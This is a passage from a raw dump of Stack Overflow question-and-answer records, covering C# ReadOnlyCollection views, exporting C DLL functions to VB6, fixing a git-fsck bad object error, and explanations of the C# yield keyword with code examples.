System.Collections.ObjectModel.ReadOnlyCollection<>
```
How can I pass a part of this `ReadOnlyCollection<>` without copying elements into a new array (I need a live view, and the target device is short on memory)? I'm targetting Compact Framework 2.0. | Try a method that returns an enumeration using yield:
```
IEnumerable<T> FilterCollection<T>( ReadOnlyCollection<T> input ) {
foreach ( T item in input )
if ( /* criterion is met */ )
yield return item;
}
``` |
39,468 | <p>I've got a Windows DLL that I wrote, written in C/C++ (all exported functions are 'C'). The DLL works fine for me in VC++. I've given the DLL to another company who do all their development in VB. They seem to be having a problem linking to the functions. I haven't used VB in ten years and I don't even have it installed. What could be the problem?</p>
<p>I've declared all my public functions as follows:</p>
<pre><code>#define MYDCC_API __declspec(dllexport)
MYDCCL_API unsigned long MYDCC_GetVer( void);
.
.
.
</code></pre>
<p>Any ideas?</p>
<hr>
<p>Finally got back to this today and have it working. The answers put me on the right track but I found this most helpful:</p>
<p><a href="http://www.codeproject.com/KB/DLL/XDllPt2.aspx" rel="nofollow noreferrer">http://www.codeproject.com/KB/DLL/XDllPt2.aspx</a></p>
<p>Also, I had a few problems passing strings to the DLL functions, I found this helpful:</p>
<p><a href="http://www.flipcode.com/archives/Interfacing_Visual_Basic_And_C.shtml" rel="nofollow noreferrer">http://www.flipcode.com/archives/Interfacing_Visual_Basic_And_C.shtml</a></p>
<hr>
| [
{
"answer_id": 39478,
"author": "Konrad Rudolph",
"author_id": 1968,
"author_profile": "https://Stackoverflow.com/users/1968",
"pm_score": 3,
"selected": true,
"text": "<p>By using <code>__declspec</code> for export, the function name will get exported <em>mangled</em>, i.e. contain type information to help the C++ compiler resolve overloads.</p>\n\n<p>VB6 cannot handle mangled names. As a workaround, you have to de-mangle the names. The easiest solution is to link the DLL file using an <a href=\"http://msdn.microsoft.com/en-us/library/d91k01sh%28VS.80%29.aspx\" rel=\"nofollow noreferrer\">export definition</a> file in VC++. The export definition file is very simple and just contains the name of the DLL and a list of exported functions:</p>\n\n<pre><code>LIBRARY mylibname\nEXPORTS\n myfirstfunction\n secondfunction\n</code></pre>\n\n<p>Additionally, you have to specify the <code>stdcall</code> calling convention because that's the only calling convention VB6 can handle. There's a project using assembly injection to handle C calls but I guess you don't want to use this difficult and error-prone method.</p>\n"
},
{
"answer_id": 39479,
"author": "Re0sless",
"author_id": 2098,
"author_profile": "https://Stackoverflow.com/users/2098",
"pm_score": 2,
"selected": false,
"text": "<p>Try adding __stdcall at the end</p>\n\n<pre><code>#define MYDCC_API __declspec(dllexport) __stdcall\n</code></pre>\n\n<p>We have some C++ dlls that interact with our old VB6 apps and they all have that at the end.</p>\n"
},
{
"answer_id": 2742624,
"author": "tracker",
"author_id": 329506,
"author_profile": "https://Stackoverflow.com/users/329506",
"pm_score": 0,
"selected": false,
"text": "<p>A VB6 DLL is always a COM dll. I shall describe an example in as few words as possible. Suppose you have a ActiveX DLL project in VB6 with a class called CTest which contains a method as shown below</p>\n\n<p>Public Function vbConcat(ByVal a As String, ByVal b As String) As String\n vbConcat = a & b\nEnd Function</p>\n\n<p>and you have set the project name as VBTestLib in VB6 project properties and\nyou have compiled the project as F:\\proj\\VB6\\ActiveXDLL\\VBTestDLL.dll</p>\n\n<p>You need to register the dll using the Windows command \nregsvr32 F:\\proj\\VB6\\ActiveXDLL\\VBTestDLL.dll</p>\n\n<p>now your C++ code :</p>\n\n<p>#import \"F:\\proj\\VB6\\ActiveXDLL\\VBTestDLL.dll\"\n using namespace VBTestLib;</p>\n\n<p>void CDialogTestDlg::OnButton1() \n {</p>\n\n<pre><code> HRESULT hresult;\n CLSID clsid;\n _CTest *t; // a pointer to the CTest object\n _bstr_t bstrA = L\"hello\";\n _bstr_t bstrB = L\" world\"; \n _bstr_t bstrR;\n ::CoInitialize(NULL);\n hresult=CLSIDFromProgID(OLESTR(\"VBTestLib.CTest\"), &clsid);\n hresult= CoCreateInstance(clsid,NULL,CLSCTX_INPROC_SERVER,\n __uuidof(_CTest),(LPVOID*) &t);\n if(hresult == S_OK)\n {\n bstrR = t->vbConcat(bstrA , bstrB);\n AfxMessageBox((char*)bstrR);\n }\n</code></pre>\n\n<p>}</p>\n\n<p>That's all there is to it, to get started off. </p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39468",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3685/"
] | I've got a Windows DLL that I wrote, written in C/C++ (all exported functions are 'C'). The DLL works fine for me in VC++. I've given the DLL to another company who do all their development in VB. They seem to be having a problem linking to the functions. I haven't used VB in ten years and I don't even have it installed. What could be the problem?
I've declared all my public functions as follows:
```
#define MYDCC_API __declspec(dllexport)
MYDCCL_API unsigned long MYDCC_GetVer( void);
.
.
.
```
Any ideas?
---
Finally got back to this today and have it working. The answers put me on the right track but I found this most helpful:
<http://www.codeproject.com/KB/DLL/XDllPt2.aspx>
Also, I had a few problems passing strings to the DLL functions, I found this helpful:
<http://www.flipcode.com/archives/Interfacing_Visual_Basic_And_C.shtml>
--- | By using `__declspec` for export, the function name will get exported *mangled*, i.e. contain type information to help the C++ compiler resolve overloads.
VB6 cannot handle mangled names. As a workaround, you have to de-mangle the names. The easiest solution is to link the DLL file using an [export definition](http://msdn.microsoft.com/en-us/library/d91k01sh%28VS.80%29.aspx) file in VC++. The export definition file is very simple and just contains the name of the DLL and a list of exported functions:
```
LIBRARY mylibname
EXPORTS
myfirstfunction
secondfunction
```
Additionally, you have to specify the `stdcall` calling convention because that's the only calling convention VB6 can handle. There's a project using assembly injection to handle C calls but I guess you don't want to use this difficult and error-prone method. |
39,475 | <p>Hello I have the following error by git-fsck, which cannot be cleaned by git-gc even in --aggressive mode. What can I do next to fix this repository error? </p>
<pre><code>$ git-fsck
bad sha1 file: .git/objects/55/tmp_obj_a07724
</code></pre>
| [
{
"answer_id": 39927,
"author": "Jordi Bunster",
"author_id": 4272,
"author_profile": "https://Stackoverflow.com/users/4272",
"pm_score": 4,
"selected": true,
"text": "<p>It's not a simple answer, sadly. But this might help:</p>\n\n<p><a href=\"http://schacon.github.com/git/user-manual.html#recovering-from-repository-corruption\" rel=\"noreferrer\">Recovering from repository corruption</a> (from the Git's user manual).</p>\n"
},
{
"answer_id": 44733,
"author": "Damien Diederen",
"author_id": 3844,
"author_profile": "https://Stackoverflow.com/users/3844",
"pm_score": 3,
"selected": false,
"text": "<p>Err... <code>tmp_obj_a07724</code> suspiciously looks like a leftover temporary\nfile :)</p>\n\n<p>What happens if you simply move it away from the <code>.git</code> directory\n(after a backup of the whole thing)?</p>\n"
},
{
"answer_id": 49404775,
"author": "Sergei Krivonos",
"author_id": 525578,
"author_profile": "https://Stackoverflow.com/users/525578",
"pm_score": 0,
"selected": false,
"text": "<p>From <code>man git-fsck</code>:</p>\n\n<pre><code>Any corrupt objects you will have to find in backups or other archives\n(i.e., you can just remove them and do an rsync with some other site in\nthe hopes that somebody else has the object you have corrupted).\n</code></pre>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39475",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2313/"
] | Hello I have the following error by git-fsck, which cannot be cleaned by git-gc even in --aggressive mode. What can I do next to fix this repository error?
```
$ git-fsck
bad sha1 file: .git/objects/55/tmp_obj_a07724
``` | It's not a simple answer, sadly. But this might help:
[Recovering from repository corruption](http://schacon.github.com/git/user-manual.html#recovering-from-repository-corruption) (from the Git's user manual). |
39,476 | <p>In the <a href="https://stackoverflow.com/questions/39447/how-can-i-expose-only-a-fragment-of-ilist">How Can I Expose Only a Fragment of IList<></a> question one of the answers had the following code snippet:</p>
<pre><code>IEnumerable<object> FilteredList()
{
foreach(object item in FullList)
{
if(IsItemInPartialList(item))
yield return item;
}
}
</code></pre>
<p>What does the yield keyword do there? I've seen it referenced in a couple places, and one other question, but I haven't quite figured out what it actually does. I'm used to thinking of yield in the sense of one thread yielding to another, but that doesn't seem relevant here.</p>
| [
{
"answer_id": 39482,
"author": "Joel Coehoorn",
"author_id": 3043,
"author_profile": "https://Stackoverflow.com/users/3043",
"pm_score": 9,
"selected": false,
"text": "<p>Iteration. It creates a state machine \"under the covers\" that remembers where you were on each additional cycle of the function and picks up from there.</p>\n"
},
{
"answer_id": 39483,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 4,
"selected": false,
"text": "<p>It is a very simple and easy way to create an enumerable for your object. The compiler creates a class that wraps your method and that implements, in this case, IEnumerable<object>. Without the yield keyword, you'd have to create an object that implements IEnumerable<object>.</p>\n"
},
{
"answer_id": 39486,
"author": "aku",
"author_id": 1196,
"author_profile": "https://Stackoverflow.com/users/1196",
"pm_score": 3,
"selected": false,
"text": "<p>It's producing enumerable sequence. What it does is actually creating local IEnumerable sequence and returning it as a method result</p>\n"
},
{
"answer_id": 39488,
"author": "Konrad Rudolph",
"author_id": 1968,
"author_profile": "https://Stackoverflow.com/users/1968",
"pm_score": 5,
"selected": false,
"text": "<p>Intuitively, the keyword returns a value from the function without leaving it, i.e. in your code example it returns the current <code>item</code> value and then resumes the loop. More formally, it is used by the compiler to generate code for an <em>iterator</em>. Iterators are functions that return <code>IEnumerable</code> objects. The <a href=\"http://msdn.microsoft.com/en-us/library/65zzykke%28VS.80%29.aspx\" rel=\"noreferrer\">MSDN</a> has several <a href=\"http://msdn.microsoft.com/en-us/magazine/cc163970.aspx\" rel=\"noreferrer\">articles</a> about them.</p>\n"
},
{
"answer_id": 39496,
"author": "Mendelt",
"author_id": 3320,
"author_profile": "https://Stackoverflow.com/users/3320",
"pm_score": 11,
"selected": true,
"text": "<p>The <code>yield</code> contextual keyword actually does quite a lot here.</p>\n<p>The function returns an object that implements the <code>IEnumerable<object></code> interface. If a calling function starts <code>foreach</code>ing over this object, the function is called again until it "yields". This is syntactic sugar introduced in <strong>C# 2.0</strong>. In earlier versions you had to create your own <code>IEnumerable</code> and <code>IEnumerator</code> objects to do stuff like this.</p>\n<p>The easiest way understand code like this is to type-in an example, set some breakpoints and see what happens. Try stepping through this example:</p>\n<pre><code>public void Consumer()\n{\n foreach(int i in Integers())\n {\n Console.WriteLine(i.ToString());\n }\n}\n\npublic IEnumerable<int> Integers()\n{\n yield return 1;\n yield return 2;\n yield return 4;\n yield return 8;\n yield return 16;\n yield return 16777216;\n}\n</code></pre>\n<p>When you step through the example, you'll find the first call to <code>Integers()</code> returns <code>1</code>. The second call returns <code>2</code> and the line <code>yield return 1</code> is not executed again.</p>\n<p>Here is a real-life example:</p>\n<pre><code>public IEnumerable<T> Read<T>(string sql, Func<IDataReader, T> make, params object[] parms)\n{\n using (var connection = CreateConnection())\n {\n using (var command = CreateCommand(CommandType.Text, sql, connection, parms))\n {\n command.CommandTimeout = dataBaseSettings.ReadCommandTimeout;\n using (var reader = command.ExecuteReader())\n {\n while (reader.Read())\n {\n yield return make(reader);\n }\n }\n }\n }\n}\n</code></pre>\n"
},
{
"answer_id": 39507,
"author": "Svend",
"author_id": 2491,
"author_profile": "https://Stackoverflow.com/users/2491",
"pm_score": 7,
"selected": false,
"text": "<p>Recently Raymond Chen also ran an interesting series of articles on the yield keyword.</p>\n\n<ul>\n<li><a href=\"https://devblogs.microsoft.com/oldnewthing/20080812-00/?p=21273\" rel=\"noreferrer\">The implementation of iterators in C# and its consequences (part 1)</a></li>\n<li><a href=\"https://devblogs.microsoft.com/oldnewthing/20080813-00/?p=21253\" rel=\"noreferrer\">The implementation of iterators in C# and its consequences (part 2)</a></li>\n<li><a href=\"https://devblogs.microsoft.com/oldnewthing/20080814-00/?p=21243\" rel=\"noreferrer\">The implementation of iterators in C# and its consequences (part 3)</a></li>\n<li><a href=\"https://devblogs.microsoft.com/oldnewthing/20080815-00/?p=21223\" rel=\"noreferrer\">The implementation of iterators in C# and its consequences (part 4)</a></li>\n</ul>\n\n<p>While it's nominally used for easily implementing an iterator pattern, but can be generalized into a state machine. No point in quoting Raymond, the last part also links to other uses (but the example in Entin's blog is esp good, showing how to write async safe code).</p>\n"
},
{
"answer_id": 39600,
"author": "Gishu",
"author_id": 1695,
"author_profile": "https://Stackoverflow.com/users/1695",
"pm_score": -1,
"selected": false,
"text": "<p>It's trying to bring in some Ruby Goodness :)<br>\n<strong>Concept:</strong> This is some sample Ruby Code that prints out each element of the array </p>\n\n<pre><code> rubyArray = [1,2,3,4,5,6,7,8,9,10]\n rubyArray.each{|x| \n puts x # do whatever with x\n }\n</code></pre>\n\n<p>The Array's each method implementation <strong>yields</strong> control over to the caller (the 'puts x') with <strong>each</strong> element of the array neatly presented as x. The caller can then do whatever it needs to do with x.</p>\n\n<p>However <strong>.Net</strong> doesn't go all the way here.. C# seems to have coupled yield with IEnumerable, in a way forcing you to write a foreach loop in the caller as seen in Mendelt's response. Little less elegant.</p>\n\n<pre><code>//calling code\nforeach(int i in obCustomClass.Each())\n{\n Console.WriteLine(i.ToString());\n}\n\n// CustomClass implementation\nprivate int[] data = {1,2,3,4,5,6,7,8,9,10};\npublic IEnumerable<int> Each()\n{\n for(int iLooper=0; iLooper<data.Length; ++iLooper)\n yield return data[iLooper]; \n}\n</code></pre>\n"
},
{
"answer_id": 14328230,
"author": "BoiseBaked",
"author_id": 1978711,
"author_profile": "https://Stackoverflow.com/users/1978711",
"pm_score": 4,
"selected": false,
"text": "<p>The C# yield keyword, to put it simply, allows many calls to a body of code, referred to as an iterator, that knows how to return before it's done and, when called again, continues where it left off - i.e. it helps an iterator become transparently stateful per each item in a sequence that the iterator returns in successive calls.</p>\n\n<p>In JavaScript, the same concept is called Generators.</p>\n"
},
{
"answer_id": 15977474,
"author": "Shivprasad Koirala",
"author_id": 993672,
"author_profile": "https://Stackoverflow.com/users/993672",
"pm_score": 8,
"selected": false,
"text": "<p>Yield has two great uses,</p>\n\n<ol>\n<li><p>It helps to provide custom iteration without creating temp collections.</p></li>\n<li><p>It helps to do stateful iteration.\n<a href=\"https://i.stack.imgur.com/Sza04.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/Sza04.png\" alt=\"enter image description here\"></a></p></li>\n</ol>\n\n<p>In order to explain above two points more demonstratively, I have created a simple video you can watch it <a href=\"http://www.youtube.com/watch?v=4fju3xcm21M\" rel=\"noreferrer\">here</a></p>\n"
},
{
"answer_id": 22021424,
"author": "RKS",
"author_id": 1733852,
"author_profile": "https://Stackoverflow.com/users/1733852",
"pm_score": 6,
"selected": false,
"text": "<p><code>yield return</code> is used with enumerators. On each call of yield statement, control is returned to the caller but it ensures that the callee's state is maintained. Due to this, when the caller enumerates the next element, it continues execution in the callee method from statement immediately after the <code>yield</code> statement.</p>\n\n<p>Let us try to understand this with an example. In this example, corresponding to each line I have mentioned the order in which execution flows.</p>\n\n<pre><code>static void Main(string[] args)\n{\n foreach (int fib in Fibs(6))//1, 5\n {\n Console.WriteLine(fib + \" \");//4, 10\n } \n}\n\nstatic IEnumerable<int> Fibs(int fibCount)\n{\n for (int i = 0, prevFib = 0, currFib = 1; i < fibCount; i++)//2\n {\n yield return prevFib;//3, 9\n int newFib = prevFib + currFib;//6\n prevFib = currFib;//7\n currFib = newFib;//8\n }\n}\n</code></pre>\n\n<p>Also, the state is maintained for each enumeration. Suppose, I have another call to <code>Fibs()</code> method then the state will be reset for it.</p>\n"
},
{
"answer_id": 28000413,
"author": "Marquinho Peli",
"author_id": 2992192,
"author_profile": "https://Stackoverflow.com/users/2992192",
"pm_score": 7,
"selected": false,
"text": "<p>At first sight, yield return is a <strong>.NET</strong> sugar to return an <strong>IEnumerable</strong>.</p>\n\n<p>Without yield, all the items of the collection are created at once:</p>\n\n<pre><code>class SomeData\n{\n public SomeData() { }\n\n static public IEnumerable<SomeData> CreateSomeDatas()\n {\n return new List<SomeData> {\n new SomeData(), \n new SomeData(), \n new SomeData()\n };\n }\n}\n</code></pre>\n\n<p>Same code using yield, it returns item by item:</p>\n\n<pre><code>class SomeData\n{\n public SomeData() { }\n\n static public IEnumerable<SomeData> CreateSomeDatas()\n {\n yield return new SomeData();\n yield return new SomeData();\n yield return new SomeData();\n }\n}\n</code></pre>\n\n<p>The advantage of using yield is that if the function consuming your data simply needs the first item of the collection, the rest of the items won't be created. </p>\n\n<p>The yield operator allows the creation of items as it is demanded. That's a good reason to use it.</p>\n"
},
{
"answer_id": 34096356,
"author": "Strydom",
"author_id": 5632496,
"author_profile": "https://Stackoverflow.com/users/5632496",
"pm_score": 6,
"selected": false,
"text": "<p>A list or array implementation loads all of the items immediately whereas the yield implementation provides a deferred execution solution.</p>\n\n<p>In practice, it is often desirable to perform the minimum amount of work as needed in order to reduce the resource consumption of an application.</p>\n\n<p>For example, we may have an application that process millions of records from a database. The following benefits can be achieved when we use IEnumerable in a deferred execution pull-based model:</p>\n\n<ul>\n<li><b>Scalability, reliability and predictability</b> are likely to improve since the number of records does not significantly affect the application’s resource requirements.</li>\n<li><b>Performance and responsiveness</b> are likely to improve since processing can start immediately instead of waiting for the entire collection to be loaded first.</li>\n<li><b>Recoverability and utilisation</b> are likely to improve since the application can be stopped, started, interrupted or fail. Only the items in progress will be lost compared to pre-fetching all of the data where only using a portion of the results was actually used.</li>\n<li><b>Continuous processing</b> is possible in environments where constant workload streams are added.</li>\n</ul>\n\n<p>Here is a comparison between build a collection first such as a list compared to using yield.</p>\n\n<p><strong>List Example</strong></p>\n\n<pre><code> public class ContactListStore : IStore<ContactModel>\n {\n public IEnumerable<ContactModel> GetEnumerator()\n {\n var contacts = new List<ContactModel>();\n Console.WriteLine(\"ContactListStore: Creating contact 1\");\n contacts.Add(new ContactModel() { FirstName = \"Bob\", LastName = \"Blue\" });\n Console.WriteLine(\"ContactListStore: Creating contact 2\");\n contacts.Add(new ContactModel() { FirstName = \"Jim\", LastName = \"Green\" });\n Console.WriteLine(\"ContactListStore: Creating contact 3\");\n contacts.Add(new ContactModel() { FirstName = \"Susan\", LastName = \"Orange\" });\n return contacts;\n }\n }\n\n static void Main(string[] args)\n {\n var store = new ContactListStore();\n var contacts = store.GetEnumerator();\n\n Console.WriteLine(\"Ready to iterate through the collection.\");\n Console.ReadLine();\n }\n</code></pre>\n\n<p><strong><em>Console Output</em></strong>\n<br />\nContactListStore: Creating contact 1\n<br />\nContactListStore: Creating contact 2\n<br />\nContactListStore: Creating contact 3\n<br />\nReady to iterate through the collection.</p>\n\n<p>Note: The entire collection was loaded into memory without even asking for a single item in the list</p>\n\n<p><strong>Yield Example</strong></p>\n\n<pre><code>public class ContactYieldStore : IStore<ContactModel>\n{\n public IEnumerable<ContactModel> GetEnumerator()\n {\n Console.WriteLine(\"ContactYieldStore: Creating contact 1\");\n yield return new ContactModel() { FirstName = \"Bob\", LastName = \"Blue\" };\n Console.WriteLine(\"ContactYieldStore: Creating contact 2\");\n yield return new ContactModel() { FirstName = \"Jim\", LastName = \"Green\" };\n Console.WriteLine(\"ContactYieldStore: Creating contact 3\");\n yield return new ContactModel() { FirstName = \"Susan\", LastName = \"Orange\" };\n }\n}\n\nstatic void Main(string[] args)\n{\n var store = new ContactYieldStore();\n var contacts = store.GetEnumerator();\n\n Console.WriteLine(\"Ready to iterate through the collection.\");\n Console.ReadLine();\n}\n</code></pre>\n\n<p><strong><em>Console Output</em></strong>\n<br />\nReady to iterate through the collection.</p>\n\n<p>Note: The collection wasn't executed at all. This is due to the \"deferred execution\" nature of IEnumerable. Constructing an item will only occur when it is really required.</p>\n\n<p>Let's call the collection again and obverse the behaviour when we fetch the first contact in the collection.</p>\n\n<pre><code>static void Main(string[] args)\n{\n var store = new ContactYieldStore();\n var contacts = store.GetEnumerator();\n Console.WriteLine(\"Ready to iterate through the collection\");\n Console.WriteLine(\"Hello {0}\", contacts.First().FirstName);\n Console.ReadLine();\n}\n</code></pre>\n\n<p><strong><em>Console Output</em></strong>\n<br />\nReady to iterate through the collection\n<br />\nContactYieldStore: Creating contact 1\n<br />\nHello Bob</p>\n\n<p>Nice! Only the first contact was constructed when the client \"pulled\" the item out of the collection.</p>\n"
},
{
"answer_id": 36962062,
"author": "barlop",
"author_id": 385907,
"author_profile": "https://Stackoverflow.com/users/385907",
"pm_score": 3,
"selected": false,
"text": "<p>This <a href=\"http://www.dotnetperls.com/yield\" rel=\"noreferrer\">link</a> has a simple example </p>\n\n<p>Even simpler examples are here</p>\n\n<pre><code>public static IEnumerable<int> testYieldb()\n{\n for(int i=0;i<3;i++) yield return 4;\n}\n</code></pre>\n\n<p>Notice that yield return won't return from the method. You can even put a <code>WriteLine</code> after the <code>yield return</code></p>\n\n<p>The above produces an IEnumerable of 4 ints 4,4,4,4</p>\n\n<p>Here with a <code>WriteLine</code>. Will add 4 to the list, print abc, then add 4 to the list, then complete the method and so really return from the method(once the method has completed, as would happen with a procedure without a return). But this would have a value, an <code>IEnumerable</code> list of <code>int</code>s, that it returns on completion.</p>\n\n<pre><code>public static IEnumerable<int> testYieldb()\n{\n yield return 4;\n console.WriteLine(\"abc\");\n yield return 4;\n}\n</code></pre>\n\n<p>Notice also that when you use yield, what you are returning is not of the same type as the function. It's of the type of an element within the <code>IEnumerable</code> list.</p>\n\n<p>You use yield with the method's return type as <code>IEnumerable</code>. If the method's return type is <code>int</code> or <code>List<int></code> and you use <code>yield</code>, then it won't compile. You can use <code>IEnumerable</code> method return type without yield but it seems maybe you can't use yield without <code>IEnumerable</code> method return type.</p>\n\n<p>And to get it to execute you have to call it in a special way. </p>\n\n<pre><code>static void Main(string[] args)\n{\n testA();\n Console.Write(\"try again. the above won't execute any of the function!\\n\");\n\n foreach (var x in testA()) { }\n\n\n Console.ReadLine();\n}\n\n\n\n// static List<int> testA()\nstatic IEnumerable<int> testA()\n{\n Console.WriteLine(\"asdfa\");\n yield return 1;\n Console.WriteLine(\"asdf\");\n}\n</code></pre>\n"
},
{
"answer_id": 39273209,
"author": "kmote",
"author_id": 93394,
"author_profile": "https://Stackoverflow.com/users/93394",
"pm_score": 5,
"selected": false,
"text": "<p>Here is a simple way to understand the concept:\nThe basic idea is, if you want a collection that you can use \"<code>foreach</code>\" on, but gathering the items into the collection is expensive for some reason (like querying them out of a database), AND you will often not need the entire collection, then you create a function that builds the collection one item at a time and yields it back to the consumer (who can then terminate the collection effort early).</p>\n\n<p><strong>Think of it this way:</strong> You go to the meat counter and want to buy a pound of sliced ham. The butcher takes a 10-pound ham to the back, puts it on the slicer machine, slices the whole thing, then brings the pile of slices back to you and measures out a pound of it. (OLD way).\nWith <code>yield</code>, the butcher brings the slicer machine to the counter, and starts slicing and \"yielding\" each slice onto the scale until it measures 1-pound, then wraps it for you and you're done. <em>The Old Way may be better for the butcher (lets him organize his machinery the way he likes), but the New Way is clearly more efficient in most cases for the consumer.</em></p>\n"
},
{
"answer_id": 44801657,
"author": "Martin Liversage",
"author_id": 98607,
"author_profile": "https://Stackoverflow.com/users/98607",
"pm_score": 5,
"selected": false,
"text": "<p>The <code>yield</code> keyword allows you to create an <code>IEnumerable<T></code> in the form on an <a href=\"https://learn.microsoft.com/en-us/dotnet/csharp/programming-guide/concepts/iterators\" rel=\"noreferrer\"><em>iterator block</em></a>. This iterator block supports <em>deferred executing</em> and if you are not familiar with the concept it may appear almost magical. However, at the end of the day it is just code that executes without any weird tricks.</p>\n\n<p>An iterator block can be described as syntactic sugar where the compiler generates a state machine that keeps track of how far the enumeration of the enumerable has progressed. To enumerate an enumerable, you often use a <code>foreach</code> loop. However, a <code>foreach</code> loop is also syntactic sugar. So you are two abstractions removed from the real code which is why it initially might be hard to understand how it all works together.</p>\n\n<p>Assume that you have a very simple iterator block:</p>\n\n<pre><code>IEnumerable<int> IteratorBlock()\n{\n Console.WriteLine(\"Begin\");\n yield return 1;\n Console.WriteLine(\"After 1\");\n yield return 2;\n Console.WriteLine(\"After 2\");\n yield return 42;\n Console.WriteLine(\"End\");\n}\n</code></pre>\n\n<p>Real iterator blocks often have conditions and loops but when you check the conditions and unroll the loops they still end up as <code>yield</code> statements interleaved with other code.</p>\n\n<p>To enumerate the iterator block a <code>foreach</code> loop is used:</p>\n\n<pre><code>foreach (var i in IteratorBlock())\n Console.WriteLine(i);\n</code></pre>\n\n<p>Here is the output (no surprises here):</p>\n\n<pre>\nBegin\n1\nAfter 1\n2\nAfter 2\n42\nEnd\n</pre>\n\n<p>As stated above <code>foreach</code> is syntactic sugar:</p>\n\n<pre><code>IEnumerator<int> enumerator = null;\ntry\n{\n enumerator = IteratorBlock().GetEnumerator();\n while (enumerator.MoveNext())\n {\n var i = enumerator.Current;\n Console.WriteLine(i);\n }\n}\nfinally\n{\n enumerator?.Dispose();\n}\n</code></pre>\n\n<p>In an attempt to untangle this I have crated a sequence diagram with the abstractions removed:</p>\n\n<p><a href=\"https://i.stack.imgur.com/81KNH.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/81KNH.png\" alt=\"C# iterator block sequence diagram\"></a></p>\n\n<p>The state machine generated by the compiler also implements the enumerator but to make the diagram more clear I have shown them as separate instances. (When the state machine is enumerated from another thread you do actually get separate instances but that detail is not important here.)</p>\n\n<p>Every time you call your iterator block a new instance of the state machine is created. However, none of your code in the iterator block is executed until <code>enumerator.MoveNext()</code> executes for the first time. This is how deferred executing works. Here is a (rather silly) example:</p>\n\n<pre><code>var evenNumbers = IteratorBlock().Where(i => i%2 == 0);\n</code></pre>\n\n<p>At this point the iterator has not executed. The <code>Where</code> clause creates a new <code>IEnumerable<T></code> that wraps the <code>IEnumerable<T></code> returned by <code>IteratorBlock</code> but this enumerable has yet to be enumerated. This happens when you execute a <code>foreach</code> loop:</p>\n\n<pre><code>foreach (var evenNumber in evenNumbers)\n Console.WriteLine(eventNumber);\n</code></pre>\n\n<p>If you enumerate the enumerable twice then a new instance of the state machine is created each time and your iterator block will execute the same code twice.</p>\n\n<p>Notice that LINQ methods like <code>ToList()</code>, <code>ToArray()</code>, <code>First()</code>, <code>Count()</code> etc. will use a <code>foreach</code> loop to enumerate the enumerable. For instance <code>ToList()</code> will enumerate all elements of the enumerable and store them in a list. You can now access the list to get all elements of the enumerable without the iterator block executing again. There is a trade-off between using CPU to produce the elements of the enumerable multiple times and memory to store the elements of the enumeration to access them multiple times when using methods like <code>ToList()</code>.</p>\n"
},
{
"answer_id": 49847398,
"author": "Casey Plummer",
"author_id": 704532,
"author_profile": "https://Stackoverflow.com/users/704532",
"pm_score": 5,
"selected": false,
"text": "<p>If I understand this correctly, here's how I would phrase this from the perspective of the function implementing IEnumerable with yield.</p>\n\n<ul>\n<li>Here's one.</li>\n<li>Call again if you need another.</li>\n<li>I'll remember what I already gave you.</li>\n<li>I'll only know if I can give you another when you call again.</li>\n</ul>\n"
},
{
"answer_id": 58442021,
"author": "maxspan",
"author_id": 2209468,
"author_profile": "https://Stackoverflow.com/users/2209468",
"pm_score": 5,
"selected": false,
"text": "<p>One major point about Yield keyword is <strong>Lazy Execution</strong>. Now what I mean by Lazy Execution is to execute when needed. A better way to put it is by giving an example</p>\n<p><strong>Example: Not using Yield i.e. No Lazy Execution.</strong></p>\n<pre><code>public static IEnumerable<int> CreateCollectionWithList()\n{\n var list = new List<int>();\n list.Add(10);\n list.Add(0);\n list.Add(1);\n list.Add(2);\n list.Add(20);\n\n return list;\n}\n</code></pre>\n<p><strong>Example: using Yield i.e. Lazy Execution.</strong></p>\n<pre><code>public static IEnumerable<int> CreateCollectionWithYield()\n{\n yield return 10;\n for (int i = 0; i < 3; i++) \n {\n yield return i;\n }\n\n yield return 20;\n}\n</code></pre>\n<p>Now when I call both methods.</p>\n<pre><code>var listItems = CreateCollectionWithList();\nvar yieldedItems = CreateCollectionWithYield();\n</code></pre>\n<p>you will notice listItems will have a 5 items inside it (hover your mouse on listItems while debugging).\nWhereas yieldItems will just have a reference to the method and not the items.\nThat means it has not executed the process of getting items inside the method. A very efficient way of getting data only when needed.\nActual implementation of yield can be seen in ORM like Entity Framework and NHibernate etc.</p>\n"
},
{
"answer_id": 69410126,
"author": "Pascal Carmoni",
"author_id": 2101398,
"author_profile": "https://Stackoverflow.com/users/2101398",
"pm_score": -1,
"selected": false,
"text": "<p>Simple demo to understand yield</p>\n<pre><code>using System;\nusing System.Collections.Generic;\nusing System.Linq;\n\nnamespace ConsoleApp_demo_yield {\n class Program\n {\n static void Main(string[] args)\n {\n var letters = new List<string>() { "a1", "b1", "c2", "d2" };\n\n // Not yield\n var test1 = GetNotYield(letters);\n\n foreach (var t in test1)\n {\n Console.WriteLine(t);\n }\n\n // yield\n var test2 = GetWithYield(letters).ToList();\n\n foreach (var t in test2)\n {\n Console.WriteLine(t);\n }\n\n Console.ReadKey();\n }\n\n private static IList<string> GetNotYield(IList<string> list)\n {\n var temp = new List<string>();\n foreach(var x in list)\n {\n \n if (x.Contains("2")) { \n temp.Add(x);\n }\n }\n\n return temp;\n }\n\n private static IEnumerable<string> GetWithYield(IList<string> list)\n {\n foreach (var x in list)\n {\n if (x.Contains("2"))\n {\n yield return x;\n }\n }\n }\n } \n}\n</code></pre>\n"
},
{
"answer_id": 69866729,
"author": "H. Pauwelyn",
"author_id": 4551041,
"author_profile": "https://Stackoverflow.com/users/4551041",
"pm_score": 2,
"selected": false,
